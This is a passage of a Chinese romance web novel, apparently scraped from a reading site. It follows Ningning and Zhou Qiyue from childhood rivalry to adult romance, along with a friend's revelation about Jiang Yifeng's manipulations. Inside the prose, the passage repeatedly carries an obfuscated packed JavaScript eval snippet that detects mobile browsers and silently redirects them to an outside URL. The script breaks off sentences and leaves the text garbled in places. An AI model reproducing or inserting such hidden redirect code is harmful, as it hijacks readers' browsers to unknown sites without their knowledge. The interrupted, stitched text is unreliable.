柠柠转眼看他来真的,她绷紧唇也没有拦住的架势,“那你走吧!我才不要跟出尔反尔的讨厌鬼做朋友。” 周祈越觉得她好奇怪,明明是她主动招惹他,每天上下学也是她跟他,现在又嫌弃他。 他还觉得委屈呢,原本只是试探一下她,也不是非要走,现在倒好,非走不可了。 于是他肚子里窝着一股火,回到隔壁三年级。 柠柠眨了眨眼,前桌看热闹的男生正嘿嘿笑,她一记眼刀甩过去:“看什么看!” “......” 凶完人,她继续埋头趴桌上。 一下午没认真听课,回归到从前那样,放学后一个人走在乡间小路,拽着野花野草,踢着路边的石头。 她走的很慢,到家天都黑了,奶奶刚关上门出来要去找她,祖孙俩打了个照面。 奶奶正要揪她耳朵,训斥说,我看你以后还敢不敢回来这么晚?! 不知从什么时候开始,这小女孩变机灵了,跟圆滑的泥鳅似的,丝滑地绕到奶奶身后,跟她打圈转,奶奶不仅扑了个空,还转得头晕。 “行了,放过你。”老人家叉着腰,摆手示意她进屋,边问:“怎么没跟周祈越一起回来啊?” 一听这个名字,她就原地爆炸,“奶奶,你也骗我!” “我骗你什么了?” 柠柠秋后算账着,找准源头,“周七月明明是三年级,你跟我说,他是我同学。” “对啊,你们就是同学啊。”奶奶颇为认真地思考着,“你们不都是三年级么?” 柠柠:“......” 她秒变一只无头苍蝇,在奶奶耳边嗡嗡乱叫,我是二年级我是二年级。 “好了好了,我知道了。”奶奶烦得抓耳挠腮。 柠柠:“那我问你,我几岁了。” 奶奶眯着眼睛,左想右想两分钟,“五岁。” 柠柠大吼:“八!岁!” “......” 晚饭后,柠柠待在房间写作业,数学题看不懂,拼音读不对。 她盯着笔尖发愣,看见模糊的重影,直到白纸黑字被泪水晕染。 一边哭一边恶狠狠地在本子上写:讨厌鬼,周七月。 隔日,阳光明媚的上午,全校一百个学生都在上体育课。 距离趣味运动会还有两周,六个班级正忙活着训练各班报的集体项目。 二年级的两人三足比赛,柠柠仍然没找到同伴,自觉往后退,坐在教学楼前的小型阶梯上,看别的同学玩。 三年级报的是无敌风火轮,是所有人共同参与,不像他们还得找伴。 柠柠正托着腮艳羡地看他们班,周祈越被挤出来,两人一对视,她立刻别开眼,起身走远。 还没走两步,班里最喜欢刁难她的几个男生,堵住她的去路。 “假小子,你不是说自己找到同伴了吗?” “你同桌被你气走了吧,你这臭脾气,果然没人受得了你。” 柠柠攥紧拳头,举起来吓唬他们:“跟你有屁关系!多管闲事!” “哟哟哟,大家快来看啊,母老虎发威了,母老虎要打人了!” “......” 此言一出,男同学女同学纷纷跑过来围观,紧接着议论声此起彼伏。 “怪不得她爸妈不要她,她那么凶。” “听说,她妈妈跟别人跑了。” “咦,好恶心哦。我妈妈说,让我远离夏柠。” “......” 柠柠望了望四周,他们都在指责她,每一次都是这样。 大家都不喜欢她,不跟她做朋友。 她不知道自己做错了什么,也没法对他们的话不在意。 此刻,柠柠鼻子一酸,眼眶里好像有什么东西快要迸发而出,可是奶奶说,不能在别人面前流鼻涕,因为别人只会取笑她,更加瞧不起她。 “谁说她没有同伴了。”人群中倏然出现这句话,她下意识以为幻听了,直到周祈越的影子盖过她的,胳膊肘搭在她肩膀,极其狂妄地对那些人说。 “他是我朋友,你们敢欺负她试试?” ...... 结果就是,今天放学,两人角色调换,周祈越变成了跟屁虫,一路跟她回去。 “谁跟你是朋友了!”柠柠气不打一来,不理解也纳闷他会回头找她,“你这讨厌鬼,不遵守承诺。” “好好好,是我的错,跟你道歉。”周祈越反思了下自己,一副诚恳的模样,“要不这样,我先去你们班跟你一起参加比赛,等比完赛,我再回我们班。” “因为我的确不能留级,我家里人会打断我的腿的。” “不需要!”柠柠抱着胳膊,挺有骨气,“我才不要你的同情!” 说着扭头就走。 周祈越紧跟上,有条有理地说:“我不是同情你啊,而是我不想参加我们班的比赛,对我来说太难了。你今天不也看到我被挤出来了,我是真的不擅长那个什么无敌风火轮,也不想正式比赛时拖后腿丢脸。” “但两人三足就简单多了,只需要两人合作,咱俩多练几天肯定能拿奖的。” 原本柠柠根本没在听那些废话,但一听到能拿奖,眼珠子立马亮了,她还没拿过奖呢。 “咱俩能拿奖?” 周祈越信誓旦旦地拍着胸膛:“一定可以的。” 于是周祈越偷偷瞒着爷爷奶奶又回到二年级了,他俩成为游戏搭档,不仅上体育课的时候练,放学回家也练。 刚开始两个小朋友配合不默契,少不了斗嘴,实在争执不下了,周祈越便绅士地服软顺着她的指令。 坚持两周,两人配合越来越默契,专心比赛时更是放下了个人恩怨。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15102109|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那是柠柠第一次拿奖,虽然只是三等奖,放学一回家,她乐呵呵地捧着奖状给奶奶看。 “奶奶,我也有奖状了耶。” “可以啊,柠柠出息了。”奶奶只认得奖状上她的名字,理所当然地以为这是学习成绩的奖状,“我家孙女以后定能考上大学!” 柠柠心虚了,拿着奶奶奖励的两个糖人,去周家分给周祈越一个,自己坐在家门口的柳树下发呆。 闲来无聊,翻开语文课本,读着那些蹩脚的拼音升降调,她快要哭出来。 “怎么办啊,我不是学习的料,呜呜呜。” 周祈越突然从大树后面窜出来,嬉皮笑脸道:“谁说你不是学习的料,你多聪明,一学就会。” 柠柠应激似的站起来,下意识擦了下眼角,庆幸没哭出来,旋即冷冷地看他,“你来干什么,少阴阳怪气了!” “我没阴阳怪气。”周祈越只觉得她比他妹还要强,她根本不吃硬碰硬,只能来软的,“我就是觉得你很聪明,你看,你都会用阴阳怪气这个成语了,还跟我参加比赛拿奖,说明你的潜力无穷。” 柠柠嘟着嘴切了声:“我学习成绩就不好,努力也没用。” “那是因为你没受到高人指点。” “高人?”柠柠跟他眨巴眼半晌,“就你?” 周祈越对她轻蔑的眼神气得不行,看来有必要让他见识自己的厉害了,径自上前拽着她的连体帽,不懂得怜香惜玉地把人拉到她家学习桌前。 周高人翻动着她的数学和语文课本,有模有样地问:“哪不会?” 柠柠瞥一眼习题,大言不惭道:“哪都不会。” “那现在跟我读a,o,e,i,u......”周祈越瞥见她快要犯困的样子,食指曲起用力勾了下她鼻尖,“你给我认真点!” 柠柠:“......” ...... 催眠室总算安静下来。 周祈越蹲在按摩椅前,宽大的手掌含握住她冰凉的指尖,眉梢紧蹙,又着急又担忧,“季医生,她怎么还没醒?” 刚刚做催眠治疗的时候,陈夏柠猛然摇头晃脑,口中不停喊着:“别走,不要离开我......” 季复临看她四肢颤动,反应激烈,料想她暂时没法突破心理深处的防线,及时把海浪的背景音关掉,又一个响指终止她的回忆。 “再等五分钟。”季复临话音刚落,陈夏柠倏然睁开眼,坐起身。 看见周祈越,她几乎是本能地扑过去,男人也伸出双臂抱住她。 季复临见状走出去,带上门。 “七月....七月......”陈夏柠整张脸埋在他胸膛,音线颤抖,似乎经历大冒险刚逃生出来般,“我好害怕。” “我在这呢,别怕。”周祈越一下又一下地拍着她后背安抚,就算不知她想起了什么,也一直明白她这个人可担小了,表面坚强无所谓,指不定又猫在哪哭呢。 从跟她吵架拎起书包回三年级,放学回家的路上,周祈越在后面远远地看着她一个人,独自坐在乡间小路边缘哭泣,哭完又坚强擦干眼泪开始。 那个时候,年幼的周祈越就看穿了这个爱伪装的小女孩。 在后来的朝夕相处中,他们一同度过了最无聊平淡的童年时光。 他也终于明白,她所有的狂妄和嚣张,都是在掩饰内心的不安和恐惧。 柠柠她,最讨厌不守信用的人。 最害怕最害怕,别人离开她了。 此时此刻,周祈越胸腔里好似压抑着一股冲动,这么多年想说的话很多很多,哽咽在喉,只说出一句:“小柠檬,七月从未离开。” 90. 包养 城市的街景沾染着白雪皑皑,临近年关,各大门店和街道挂起红灯笼,如此红白交相辉映的色彩倒也赏心悦目。 陈夏柠对过年早就没有了概念,往年在国外她都是一个人缩在出租屋刷剧消磨时间,今年足够热闹的是,周祈越往家里买了很多年货。 阳台上摆满了富贵竹、玉树、红掌、铜钱草和金桔这些盆栽,他说这些玩意儿招财又旺宅,让她好好打理。 早上吃完饭,陈夏柠正给盆栽浇水,门铃响起,快递员又送了一大箱向日葵和百合,她把家里能找到花瓶放茶几上,按照网上的教程,专心做起了花艺。 周祈越从超市回来,双手拎着两大袋进屋,放餐桌上发出砰的声响,陈夏柠背对着他坐着,边摆弄手中的百合,悠悠道:“你是不是要把我家填满才甘心?” 周祈越抬脚走过去,把人从地上拉起来,往她屁股下垫起一个沙发靠枕,“生理期呢,你注意点。” 地上有面薄地毯,陈夏柠没觉得凉,还是听话地坐在靠枕上,将茶几上自己的杰作给他看。 周祈越凑过去闻百合的香气,上手帮她插花,挑问她上句话:“什么叫你家,不也是我家?” “明明是某人赖在这了——”陈夏柠忍住笑意,想起他傲娇、颠倒黑白的样子模仿:“我在包养他。” 周祈越:“......” 周祈越捏她鼻子,皮笑肉不笑:“对,某人把我哄她床上了。” 陈夏柠:“......” 之前两人睡同一张床都是在1301周祈越家,那天在医院催眠失控,他抱着她安抚了好大一会儿,小姑娘才冷静下来。 回到家后,陈夏柠完全变成粘人的小女孩,就连做饭也在身后抱他,说什么都不肯放手。 医生说,治疗期间不排除她会带入曾经的自己。 周祈越心想小时候的陈夏柠可不会这么往他身上贴的,凶他捉弄他还差不多。晚上睡觉的时候,躺在她床上,总归有点别扭,关上灯也睡不着。 相反,陈夏柠枕在他臂弯里入睡很快,但到了后半夜进入深度睡眠,她就开始做噩梦,反复呓语着:“我好怕......”同时流着泪。 恍然惊醒时,她捂着微疼的后脑勺,问他以前的事。 周祈越害怕的事还是来了,捧着她的脸,额头靠额头,“难受就别想了,你只要记得,我们再也不会分离。” 他和季复临说了陈夏柠做噩梦头疼的情况,季复临暂时推迟下一个疗程,建议给她找点事转移注意力。所以周祈越往家里买盆栽和鲜花,给她陶冶情操。 陈夏柠本想回怼就那晚而已,也没让你住一星期,但话到喉咙又转念一想,自己不挺乐意嘛,万一说出来,把人赶走了怎么办。 “那看在某人这么想住的份上,我可以包养你一段时间。”带入他平日那股厚脸皮的样,她脸皮发麻,说话的时候直直盯着手边的百合,“一直到我房租到期。” 周祈越好笑地打量着她所有举动,不继续逗她了,给她台阶:“行,那我就好好表现,争取早日转正。” 陈夏柠自然明白他的话中意,望着他去厨房的背影,莞尔一笑。 七月,等我把属于我们的记忆都找回来。 我们就结婚吧。 - 在过年的前两天,许佳念总算放年假,从陈夏柠被爆新闻开始,两人只在手机联系,一直没得空聚,放了她好几次鸽子。 许佳念开车来接她,刚坐车就跟她道歉个不停。 “好了,我知道你忙,”陈夏柠也能理解,大厂的工作一到年底反倒忙得晕头转向,“我也没受那些舆论的影响。” “那就好那就好。”许佳念空闲的时候有关注那条首发新闻,“发布的第三天就被撤了,你怎么做到的?” “是周祈越.....” 许佳念会心一笑:“果然啊,上远集团的公子哥出场,还有什么摆不平的事呢。” 陈夏柠愣了三秒:“我好像没跟你说过...周祈越的真实身份吧。” “我也算半个圈子里的人,媒体记者的人脉还是有的。”许佳念说,“旭日日报在业内挺有名的,他们内部的人透露——” “写新闻的记者叫高叙,先是受到陈氏集团大小姐的收买,又受到上远集团公子哥的要挟,这事业先涌入云端又跌入谷底,他这心理阴影面积.....简直就是豪门圈play的一环啊。” 陈夏柠咬了下唇,目光涣散。 前方红灯,许佳念盯着方向盘,思索了几秒:“不过,他那么有背景,为什么自己当初被全网黑的时候,不利用真实身份让那些媒体闭嘴呢?说不定海洋局也会尽快给个结果,凌极号的调查哪还能拖到现在。” 陈夏柠一知半解地摇摇头,周祈越学生时代就很努力,应该是不想借家庭的光。 绿灯亮起,车子继续向前行驶,许佳念问她想去哪。 “先去婚纱店吧。”陈夏柠垫起放在脚底下的购物纸袋,“主持人的礼服还没退。” “我天!你还没送回去吗?”许佳念记得那家店礼服最多租一周。 “没啊,我忙忘了。”最近事情实在太多,也是今天要和许佳念逛街,陈夏柠才翻箱倒柜地试衣服,才发现礼服没有退。 这黑色礼服虽然很好看,原本就是为元旦晚会准备的,可惜了,压根没用上场。 许佳念:“等会店里跟你要逾期费,要是太贵了,你干脆买下吧。” 十分钟后,婚纱店。 店里所有的衣服都有编码登记,店员在电脑上搜索一番,说:“女士,这件礼服您已经买下了呀。” 许佳念和陈夏柠相视一望,后者怔懵道:“我没买啊,你们是不是搞错了?” 店员又重新确认了一遍,对店里大牌的礼服有印象,想了想说:“我记得一个月前,有位男士拿着礼服来结账,我以为他要租,就说这礼服比较贵重,要付三倍押金,他当时直接递给我银行卡,说买下。” 店员见惯了形形色色的客人,以为自己的话冒犯了他,男人的自尊心作祟才赌气买下,况且礼服和婚纱这种东西只穿一次,购买属实不划算。 她一边高兴有人花钱买礼服一边解释自己的话无恶意。 男人不以为意地笑了笑,看着礼服说:“这是最新的嘛,之前有没有人租?” “您放心,本店唯一一条。”店员把电脑屏幕信息给他看,上面显示库存,以及拿出库房的时间,就是当天。 也就是说,没人租过,陈夏柠是第一个。 “那就好。”男人漫不经心地说,“就是要送唯一。” 她永远都是唯一。 “哟——”听完来龙去脉,许佳念咂咂嘴,胳膊肘撞了下陈夏柠,“是谁不用说了吧。” 那天的确是周祈越拿着礼服去柜台,让她出去找车的。 陈夏柠抿着唇,讪讪地说了声谢谢,拎着礼服出去,坐上车时给他发消息。 Lemon:【你怎么没跟我说,你买下了。】 Lemon:【[图片].jpg】 周祈越发来语音,语调悠悠地:“本来想等你准备去婚纱店退的时候再说,给你一个惊喜,但你一直没行动......” Lemon:【......我今天就来退了。】 July:【我还以为你又失忆了。】 Lemon:【[白眼].jpg】 对面发来一个大灰狼跪地的表情包,上方有个箭头指着两字:无辜。 陈夏柠噗嗤笑出声。 瞥见她捧着手机傻笑的模样,仿若头顶在冒粉红泡泡,许佳念连连咳嗽三声:“我还在这呢!禁止撒狗粮!” “......”陈夏柠盯着屏幕,嘿嘿一笑,“念念,你也赶快找个男朋友吧,我以前怎么没发现,恋爱这么,美好。” “......夏夏你......”许佳念望着眼前沉溺于恋爱的花痴少女,难以置信陈夏柠会变成这样,她心生羡慕又难受的要死,“秀恩爱,你太狗了!” “......” 陈夏柠一愣,第一次被形容“狗”。 这词不是常用于形容周祈越的嘛。 天呐,她怎么逐渐,周祈越化了。 - 女孩子逛街无非就是买一堆衣服,逛累了再去买好吃的,她俩先把衣服寄存在商场的柜台,乘坐扶梯去顶楼美食城。 路过三楼时,有个彩票摊位拥挤了很多人,说是庆祝新年,中奖率高达百分之80%。 许佳念瞬间两眼冒金星,拉着她走过去,“去试试咱俩能中几百万,然后成为富婆。” 陈夏柠:“......” 她才不信这些,实在不想排队,就坐在走廊的长椅上等许佳念,顺便提醒她一句:“买一张不贵的就行,你别最后钱包空了,哭着回家。” 许佳念回头哼哧一声:“呸呸呸!你就不能盼着点我好。” “......” 其他人闻言不禁偷笑一声。 陈夏柠就此打住,正要收拾视线,却在人群中对上了一张脸。 林盛也是被女朋友拉来买彩票的,女朋友没刮出奖,跺着脚,不服输地说:“不行,我还要去买。” 林盛乖乖陪她去排队,女朋友说我渴了,你去买杯水,林盛点头说好,这一转身也看见陈夏柠了。 难以置信,平日在训练场威严至极的林教官,现在乖软成这样。 陈夏柠跟他颔首,礼貌一笑。 林盛折回来时,陈夏柠仍然坐在拐角走廊,百无聊赖地看手机,她在搜索餐厅,感觉这里的餐厅没什么新意,越看越不想吃了。 她不禁皱起眉。 林盛瞥见她愁眉苦脸着,思量网上有关她的报道,虽然海大没有明确发声,但明眼人都知道,她肯定会失业的。 “陈夏柠,我提醒你一句,远离江逸风。” 头顶倏然落下这句话,她愣了一下,再次纳闷跟江逸风称兄道弟的林盛,会说这话。 “为什么?”陈夏柠抬眼,想知道这两人发生了什么。 “因为他,压根不是什么好人。”林盛眼眸漆黑,好似藏了一把利刃,苦口婆心地劝谏,“陈夏柠你不要重蹈覆辙了,他根本不值得你喜欢,甚至多次害了你。” 陈夏柠更蒙了:“你在说什么?” “你还记得迟烨么?” 陈夏柠快速调动记忆力这个名字,那是一段不好的回忆,迟烨曾骚扰过她很多次。 刚升入一中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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到了高二,陈夏柠转学到一中,林盛多次注意迟烨来一中骚扰她,要说骚扰也不算多严重,就是放学时跟在她后面,佯装没看见路,撞她一下,还会上手揪她的辫子。 毕竟他们仨都是朋友,林盛不好跟江逸风打小报告,私下问迟烨这是在干嘛,是不是喜欢她? 迟烨呵呵一笑:“我在二中的时候跟她认识,就路上碰见了,打个招呼而已,你何必这么大惊小怪。” 林盛不再多问,也不想多管闲事。 直到那天在家属院打游戏,迟烨姗姗来迟,有人插科打诨:“谈恋爱了啊你,最近聚会总迟到。” “你还别说,真就是。”迟烨摸了摸嘴巴,“今晚就把她办了。” “......” 林盛幽幽地看他一眼。 众人专心比赛,迟烨和江逸风一同反杀敌人,一行人放下耳机欢呼时,迟烨开口:“江少爷,我喜欢的姑娘喜欢你,你让给我呗。” “随便。”江逸风不甚在意地说,反正喜欢他的女生多了去了。 几个人从网吧里出来,迟烨搭着江逸风的肩膀闲聊天,不知怎的,扯到陈夏柠。 “我刚刚看见她就在里面摘果子,”迟烨指着巷子西边,意味深长的目光。 江逸风恍然明白了什么,一把拿下他的手臂,“别告诉我,你今晚想办她?” “江哥,反正你也不喜欢她,不是说让给我了吗?” 江逸风吸了一口烟,若有所思道:“我会在你动手的时候救她。” 迟烨:“江哥,你这就没意思了,英雄救美什么时候不行,偏偏来扫我的兴。” “……” 两人这些对话,当时林盛并不知道,他只知道他俩发生了分歧,迟烨执意往巷子里跑的时候,江逸风一副大义凛然地带林盛去追他。 林盛天真地以为,正义感爆棚的江逸风,不能眼睁睁地看着陈夏柠受到伤害。 陈夏柠听得有些迷糊,问:“那晚,江逸风跟迟烨在巷子里打起来救我,只是一场提前蓄谋的交易?” “可以这么理解,”林盛颔首,话锋一转,“不过,他俩可没有打起来,因为我俩在巷子里绕晕了,根本没找到迟烨,差点以为你……谁知你和朋友平安无恙地出来了。” “不对啊,那晚迟烨追我到堵死胡同里,”陈夏柠回忆当时的场景,心里仍然发怵,“关键时刻有人拦住了他,两人的打斗声,我听得一清二楚。” “应该是有其他人在场。”林盛说,“事后我找到迟烨,他也浑身是伤,说有个男生下手挺狠,还好他口袋里有刀,他划了那人左肩膀一刀,自己才逃走。” 一时间陈夏柠觉得信息量实在太大了,这都什么跟什么啊,将信将疑地看着林盛,“你在跟我开玩笑嘛?当时我和朋友从巷子里出来,看见江逸风,他也承认是自己救了我……” 那、那当年,到底是谁救了她? “陈夏柠!”林盛接话茬,理解她一时接受不了,一脸严肃地说:“你知道江逸风最精明也最可怕的一点是什么吗?” “他会让一个人陷入危险,然后自己再挺身而出,去做那些见义勇为、坦荡正直的事。” 陈夏柠露出惊恐的神情。 她以为是长大后的江逸风变了,或许是她一直都没真正认识他。 “我也花费了七年才看清我这个朋友。”林盛低叹一声。 91. 孤寡老人 学生时代的江逸风活得恣意轻狂,整天不拘一格,比同龄人更要自由,一副天不怕地不怕的样子。 那个时候,林盛的爸妈见到江逸风,给出的评价就是,你离这种混小子远点,别跟这种人交朋友。 林盛就觉得爸妈真武断,压根不了解他就随便下定义。 相反他很羡慕江逸风能活得如此坦荡,从不在意别人的看法,做自己。江逸风对待朋友很有义气,大方,还那么有正义感。 虽然桃花挺多,他对待感情吊儿郎当,换女朋友也频繁,但谁没有缺点呢。 更何况,那些接近他的女生无非就是看重他家世,有钱又帅,谈不上有多少真心。 高中时期,林盛没什么朋友,完全把江逸风当成铁哥们。只要他一句话,林盛真就能做到赴汤蹈火,在所不辞。 细算下来,他整个十七岁,打了很多架,因为有太多坏同学了,他得帮江逸风收拾他们。 林盛的父亲曾是一名海员,因为受了伤没法出海成为遗憾,所以他考上了海大的航海技术专业。 而江逸风选择这个专业则是不得不听从家里的安排,那是他第一次意识到,原来江逸风并没表面上那么随心所欲。 两人成为室友,也是江逸风主动找宿管调的。 林盛还是跟以前一样听从江逸风的话,江逸风不喜欢军事化管理,上不上课,参不参加集训全靠他帮忙打掩护。 高中的时候年少无知,上了大学年龄增长,个人自我意识觉醒从同班同学开始调侃:“江逸风是你的谁啊,你怎么天天给他擦屁股啊!” “林盛,你对待朋友这么贴心嘛,甚至有点像....他养的一条狗。” 大学的课程并不比高中轻松,又加上航海技术是学校的王牌专业,教官的训练着实魔鬼,林盛自己的事都操心不完,哪还顾得上江逸风。 “江哥,你也收收心吧,咱专业的课不好好学真不行。”林盛好言相劝,“真水不了一点。” “行。”江逸风每次都是先答应,规矩地学一周,然后又继续在各种社交场所花天酒地。 林盛心里清楚他们的差距,江氏集团的大少爷混日子也比他前途光明。 他减少参与江逸风的社交圈,专心搞学业,江逸风的朋友多,自然也不在乎他一个人。 正当他觉得他们渐行渐远时,期末考试有纸条扔到林盛桌上,被监控老师逮到。 在他被扣上作弊的帽子,如若不承认错误就会被处分的时候,只有江逸风义气地出面,闹到院长那里指控监考老师,不分青红皂白地诬陷学生。 外出集训掉钱包时,也是江逸风替他解围。 林盛又对他感激不尽,感觉自己不能失去这样的朋友。 大四那年,江逸风回到自家公司便坐上管理层的位置,他说与其在外跑船,不如跟他一起在公司闯出一番事业,林盛被说服了。 江逸风确有企业家的天赋,懂得征服人心,还没坐上总经理的职位,大家都开始叫他小江总。 在公司里,林盛无端看出了他的凉薄。江逸风的管理下,工厂里的员工被苛刻,老员工被辞退也没补贴。 直到公司底下的一艘货船在海上发生爆炸,损失惨重,幸存的船员受伤严重,家属来找江氏要工伤补贴,江逸风极其暴躁地拒绝,责怪他们没保护好货船。 海上航行本身就危机四伏,林盛难以置信江逸风身为航海专业的学生,会说出这种话,也让他想起自己的父亲航海受伤的情况。 彼时江逸风的父亲江岷彻查此事,船只发生爆炸是由于装货时安检把控没做好,江逸风不想让父亲知道是自己的疏忽,便找林盛帮忙,拦下罪责。 那天,林盛的心情极为复杂,看着江逸风,只觉得这位好兄弟像一个彻头彻尾的陌生人。 又仔细细想,他们这么多年的友谊。 每一回,江逸风帮他都是有代价的。林盛为了感谢他,帮他做的许多事,实则就是在扮演他的替罪羊。 故事听到这,陈夏柠已经感受到端倪,眉眼一抬:“莫非你遭受的那些麻烦......” “在我犹豫不定的时候,我碰见了迟烨。”林盛幽深的黑眸给出肯定的答案,“从高中第一次被一群人堵在巷子里围攻,江逸风救我,那本身就是提前蓄谋,以此取得我的信任。” “大学的时候被诬陷作弊,集训时掉钱包.....很多事都是他一手安排。”林盛自嘲地笑了下,他像个傻子被玩弄于股掌,想想又觉得心酸。 “年少时不理解爸妈让我远离不三不四的人,长大后终于能理解他们的良苦用心了。” “从他身上,我倒是明白了,原来人能这么有心机。” 这话,陈夏柠完全能感同身受。 她的人生一直都活在谎言中,曾经视为重要的人正一步步撕开面具,露出他们原本的丑恶。 她只是震惊了一下,很快接受事实,心平气和道:“或许我们应该庆幸,及时选择了迷途知返,远离他们的伤害。” 看清楚江逸风的真实面目,林盛恍然明白这世上最大隐藏是人性,彻底跟江逸风绝交,在后来的人际交往中也懂得洞察人心了。 此时此刻,两人只能用“同是天涯沦落人”来形容。当看到新闻报道中,江逸风给陈夏柠送花的照片,林盛发自内心地希望,不要有人再被江逸风欺骗了。 即使没有今天的偶遇,他也会找到陈夏柠说这些。 两人谈完话,彩票摊恰好响起欢呼声:“欧耶,中奖了!” 许佳念兴高采烈地要蹦起来。 看来数额不少。 陈夏柠站起身,朝林盛会心一笑:“你放心,那些新闻都是捕风捉影。我的男朋友是周祈越,也早就不喜欢江逸风了.......” 或许,曾经的喜欢只是一种错觉。 “那就好。”林盛说完跟她道别,跑去女朋友身边。 陈夏柠走过去拉许佳念的胳膊,“中了多少啊?” 许佳念:“五十。” “......” - 周祈越一大早就去医院做复查,中间还出了个插曲,稀里糊涂地给人献血了,他也没觉得有什么,只是耽误了点时间。 从医院回来的路上,周祈越明显感觉头晕晕的,看来是献血的后遗症,还好车上有他平时放的柠檬糖——专门哄女朋友必备。 他含了一颗在嘴里救急。 海天宜城对面新开了家生鲜超市,周祈越停好车,去买能补血的猪肝。 他付完钱捋起袖子,一手拎大袋鲜肉蔬菜,另只臂弯里夹着一捆开得明艳的向日葵,人正在往外走,被好多人观望。 超市里见到帅哥的几率本就小,这会儿看见一个左手柴米油盐,右手鲜花浪漫的超级大帅哥,大爷大妈都忍不住多看两眼。 口袋发出震动,有消息弹来。 Lemon:【我跟念念在外面吃饭了,午饭不回去啦。】 周祈越哼笑一声,对着屏幕喃喃自语道:“错过你男朋友做的大餐,等于错过一个亿。” “......” 随后又老实巴交地回:【行,晚上想吃什么,你男朋友给你做。】 对面正在输入停了又停,犹豫了半晌:【我晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“嗯,我想回海云市。”女人眨了下眼,直直的目光看向他,“我叫Sunny。” ...... “sunny?”周祈越把手边的东西先放到门卫寄存,沿着小区旁边的人行道跟她一前一后地走着,“你今天来找我是?” 陈之夏停下脚步,回头看他,露出明媚的笑容:“当时不是说,如果回到海云市,我一定会亲自找你道谢嘛。” 当时配合警方做完调查,迎都号的航行还要继续航行,周祈越身为船长并没有久待,只是跟她说,迎都号从海云市出发,跟她要去的是反方向。 “没什么,我身为船长,要对船上游客的安全负责。”周祈越不以为意地笑了笑,这件事他都快忘记了,走之前说的那些不过就是客套话,没想到还能再见面。 那天下午,咖啡馆,陈之夏跟他说了很多自己的现状。 她在新加坡待了很多年,养父母供养她上大学,可是自己一直想回国找亲生父母,多翻受到家人的阻拦,那次是自己偷偷跑出来,却遇见了坏人往她酒杯里下药。 周祈越只是当个倾听者,点头笑笑:“挺好的,你也找到亲人了。” “嗯。”陈之夏意味深长地看他,欲言又止。 “陈之夏。” 听到这个名字,陈之夏心口一缩,握杯子的手不自觉颤抖。 周祈越倏然严肃正视她,早已洞悉一切的模样,“我希望你,不要为难我女朋友。” “因为,她也是无辜的受害者。” 92. 柠檬精 陈之夏吞咽了下,佯装茫然的表情:“你女朋友——是谁啊?” “陈夏柠。”周祈越也不跟她弯弯绕绕了,“就是你指使高叙偷拍的那位。” 陈之夏垂着眼,握着拳头,慌张又无措。 能够再次见到周祈越,第一反应肯定是开心的,可是知道周祈越和陈夏柠的关系,她既失落,也害怕因此被他厌恶。 她指使高叙抹黑陈夏柠,周祈越又反过来威胁高叙删新闻,两人暗地已经成为了敌人。 陈之夏真觉得老天在和自己开玩笑,期待已久的重逢竟然是这样。 今天来找他,并没打算透露自己是陈氏集团的千金,只是想和他聊聊天。 而周祈越原本也想会见一下这位真千金,早就做好了背调,在新闻上见过她本人的照片。 她突然出现在眼前,跟照片上挺有差距,周祈越下意识很懵,一时没有认出来。 听她说起在新加坡的事,他这才笃定她的身份。 “我不知道你13岁那年发生了什么,又怎么会在新加坡待那么多年。”周祈越慢条斯理地说,“但柠柠她从13岁就失忆了,她也是大学的时候才知道自己不是亲生的,又怎么会蓄意顶替你的身份呢?” “我想这其中的缘由,只有你父母最清楚了。” 陈之夏面色凝滞,眸光暗了暗,但很快藏着这些情绪,挺直腰板,一副坦荡的大小姐模样:“既然你都这么说了,为了感谢你的救命之恩,我以后肯定不会为难她。” 周祈越唇角微扬,一脸真挚:“谢谢。” 哪怕只是微微一笑,周遭的世界都像被他点燃一样。 陈之夏睫毛轻颤,心中五味杂陈,漫不经心道:“你就这么喜欢她?” “嗯。” 周祈越没有多么激动的言词和举止,仅仅一个眼神就足够有信服力。 - 陈夏柠和许佳念通宵聊了一晚上的天,想明白了很多事。 次日早饭后,回到海天宜城。 家里被打扫得干干净净,又增添了很多年货,茶几上摆放着喜庆的年画,陈夏柠盯着手边的福字,恍惚了几秒。 小时候过年最开心的事,就是和爸爸一起贴年画,妈妈和奶奶坐在厨房包水饺。 这样的场面,貌似只出现一次,后来再也没有了。 陈夏柠起身,拧开1301的门,悄悄进入他的卧室,周祈越难得在睡懒觉。 她也没吭声,安分地坐在床边,不知疲倦地盯着他的睡颜,怎么看都不腻。 等周祈越一睁眼看见她,唇角勾勒弧度,缓缓坐起身,额头懒洋洋地往她肩膀上靠。 “偷拍了没?”带着刚睡醒的困意,他低低的嗓音透着一股懒散,像羽毛挠过心尖。 陈夏柠啊了声,“忘了。” 周祈越轻笑:“看来这事你没少干。” 陈夏柠:“......” 又被套路了。 周祈越的起床气就是特粘人,一把将人揽在怀中,手臂跟藤蔓似的缠在她腰肢。 陈夏柠欲拒还迎地推了他一下,也不是抵触,而是最近她明显感觉到,两人一旦贴得这么近,周祈越就会起反应。 有时候,她不禁怀疑他是不是忍得特难受。 陈夏柠:“七月,明天就是除夕了。” 周祈越轻嗯了声,手掌在她后背游离着。 陈夏柠正色道:“你还是回家跟父母一起过年吧,不用管我了。” 周祈越动作一停,这才从她身上起开,不明所以地看她。 